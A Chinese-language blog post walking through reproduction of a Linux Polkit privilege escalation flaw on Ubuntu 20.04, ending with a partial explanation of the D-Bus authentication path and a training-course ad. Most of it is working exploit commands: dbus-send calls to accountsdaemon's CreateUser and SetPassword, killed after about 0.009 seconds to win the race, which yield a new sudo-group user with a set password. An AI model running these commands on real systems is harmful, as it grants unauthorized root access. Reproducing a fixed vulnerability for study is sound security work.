6月3号,RedHat修复了一个存在七年的权限提升漏洞,该漏洞通过Linux Polkit 来创建新的root用户
Polkit 是linux下的一个系统服务,允许特权进程给非特权进程提供服务
Polkit 则会根据特权进程提供的信息和权限配置文件进行认证
认证完成后将认证结果返回给特权进程
特权进程会根据认证结果来决定是否给非特权进程提供服务
而我们在认证操作中断开连接,导致无法获取认证结果
具体后边会详细分析
由于systemd使用Polkit,所以几乎所有使用systemd的Linux都自带polkit
环境:ubuntu20.04
http://releases.ubuntu.com/20.04/ubuntu-20.04.2.0-desktop-amd64.iso
ssh( 在本地ssh下操作)
sudo apt install ssh
sudo service ssh start
ssh username@127.0.0.1
具体为什么要用ssh,这里不做赘述,可以自行百度dbus
dbus-send发送D-Bus消息的工具,主要用于测试
可以通过dbus-send从命令行触发polkit
通过dbus-send构造语句,来创建一个新用户
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:yunku string:"YunKuSec" int32:1
正常情况返回肯定是认证不通过的
上面说了通过中断来实现认证通过
所以继续构造语句
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:yunku string:"YunKuSec" int32:1 & sleep 0.009s ; kill $!
这里是开始执行后0.009秒断开连接
这里多久断开连接要看具体执行时间,可以在前面加time 测试
我这里大概时间在0.015秒左右,所以我提前在0.009秒断开,具体测试时看执行时间
运气比较好,一次就成了,有个可能运气不太好,需要多试个千八百次的
然后用 id 可以看到语句中构造的yunku 已经存在了,而且在sudo组,具有root权限
现在已经成功利用漏洞创建了用户,但是该用户没有用户名,所以无法登陆
继续构造语句来设置密码
这里涉及到一个知识点,dbus接口设置密码需要通过散列值
通过openssl可以生成散列值(-5是指定 sha256 算法来生成散列值, -6 是 sha512,-1 是 md5)
openssl passwd -5 password
(这里password是个人需要设置的密码)
构造设置密码语句(User1001 是创建的sudo用户uid 可以通过id 用户名查看, string 后放置密码散列值)
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'$5$P28GOS55linQ0Fe/$2dn4a1duWxR9wFIYeO7qfO7ieDZvE25zPh1oxm3/Pn6' string:Whatever & sleep 0.009s ; kill $!
多试这个也需要多试几次
成功之后可以登陆尝试
至此,复现结束!
通过dbus创建新用户时,dbus-send向account-daemon发起请求会先发送到dbus-daemon
dbus-daemon会先添加dbus id(这里方便理解 id为 10)到请求中,然后将请求发给account-daemon
account-daemon收到请求后向poklit询问id为10的连接有没有权限
poklit向dbus-daemon询问该连接的uid
如果返回的uid为0,就授权,否则打开验证密码窗口让用户输入密码
以上步骤完成后
poklit返回true给account-daemon
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)